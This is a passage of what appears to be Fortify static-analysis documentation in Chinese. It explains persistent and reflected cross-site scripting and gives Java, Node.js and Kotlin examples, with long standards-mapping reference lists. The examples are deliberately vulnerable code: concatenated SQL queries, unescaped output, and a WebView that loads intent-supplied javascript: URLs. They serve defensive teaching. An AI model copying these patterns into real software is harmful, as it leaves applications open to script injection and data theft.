一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

有人認為在行動環境中,典型的 Web 應用程式弱點 (例如跨網站指令碼) 不會產生影響,因為使用者為何會攻擊自己呢?但是請謹記,行動平台的本質是從多種來源下載,並在相同裝置上一起執行的應用程式。在金融應用程式旁執行惡意程式碼的可能性很高,這必然會擴大行動應用程式的受攻擊面,將程序之間的通訊包括在內。

範例 3:以下程式碼會在 Android 的 WebView 中啟用 JavaScript (預設狀況下停用 JavaScript),並根據從 Android 用意接收的值載入頁面。


...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...


url 的值以 javascript: 開頭,隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 2 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 3 所述,應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。

有許多現代的 Web 架構提供執行使用者輸入驗證的機制 (包括 Struts 和 Struts 2)。為了突顯未驗證的輸入來源,Fortify 安全編碼檢查規則會降低 Fortify Static Code Analyzer 所報告之問題的攻擊可能性,並在使用框架驗證機制時提供支援證據的指標,以動態重新排列其優先順序。我們將此功能稱為「內容相關性排名」。為了進一步協助 Fortify 使用者進行稽核程序,Fortify Software 安全研發團隊提供了資料驗證專案範本,該範本會依據套用到其輸入來源的驗證機制,按資料夾對問題進行分組。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_persistent
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為網頁要求。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 Node.js 程式碼片段會根據所給予的識別碼在資料庫中查詢員工,並列印對應員工的姓名。


var http = require('http');
...

function listener(request, response){
connection.query('SELECT * FROM emp WHERE eid="' + eid + '"', function(err, rows){
if (!err && rows.length > 0){
response.write('<p>Welcome, ' + rows[0].name + '!</p>');
}
...
});
...
}
...
http.createServer(listener).listen(8080);
name 值正常運作時,此程式碼也會正常運作,但如果該值不正常運作時,則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險,是因為 name 值是從資料庫中讀取的,且顯然是由應用程式管理這些值的內容。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 2:以下 Node.js 程式碼片段會在 HTTP 要求中讀取員工識別碼 eid,並顯示給使用者。


var http = require('http');
var url = require('url');

...

function listener(request, response){
var eid = url.parse(request.url, true)['query']['eid'];
if (eid !== undefined){
response.write('<p>Welcome, ' + eid + '!</p>');
}
...
}
...
http.createServer(listener).listen(8080);


Example 1 所述,如果 eid 只包含標準英數字元,這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。
如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 2 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_persistent
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為網頁要求。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的程式碼片段,會根據所給予的識別碼在資料庫中查詢員工,並在 servlet 回應中列印對應的員工姓名。


...
val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...
name 值正常運作時,此程式碼也會正常運作,但如果該值不正常運作時,則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險,是因為 name 值是從資料庫中讀取的,且顯然是由應用程式管理這些值的內容。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 2:以下程式碼會從 HTTP servlet 要求讀取員工識別碼 eid,然後在 servlet 的回應中向使用者顯示其值。


val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...


Example 1 所述,如果 eid 只包含標準英數字元,這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

有人認為在行動環境中,典型的 Web 應用程式弱點 (例如跨網站指令碼) 不會產生影響,因為使用者為何會攻擊自己呢?但是請謹記,行動平台的本質是從多種來源下載,並在相同裝置上一起執行的應用程式。在金融應用程式旁執行惡意程式碼的可能性很高,這必然會擴大行動應用程式的受攻擊面,將程序之間的通訊包括在內。

範例 3:以下程式碼會在 Android 的 WebView 中啟用 JavaScript (JavaScript 預設為停用),並根據從 Android 用意接收的值載入頁面。


...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...


url 的值以 javascript: 開頭,隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。

如同範例中所示,XSS 弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 2 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 3 所述,應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。


有許多現代的 Web 架構提供執行使用者輸入驗證的機制 (包括 Struts 和 Spring MVC)。為了突顯未驗證的輸入來源,Fortify 安全編碼檢查規則會降低 Fortify Static Code Analyzer 所報告之問題的攻擊可能性,並在使用框架驗證機制時提供支援證據的指標,以動態重新排列其優先順序。我們將此功能稱為「內容相關性排名」。為了進一步協助 Fortify 使用者進行稽核程序,Fortify Software 安全研發團隊提供了資料驗證專案範本,該範本會依據套用到其輸入來源的驗證機制,按資料夾對問題進行分組。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
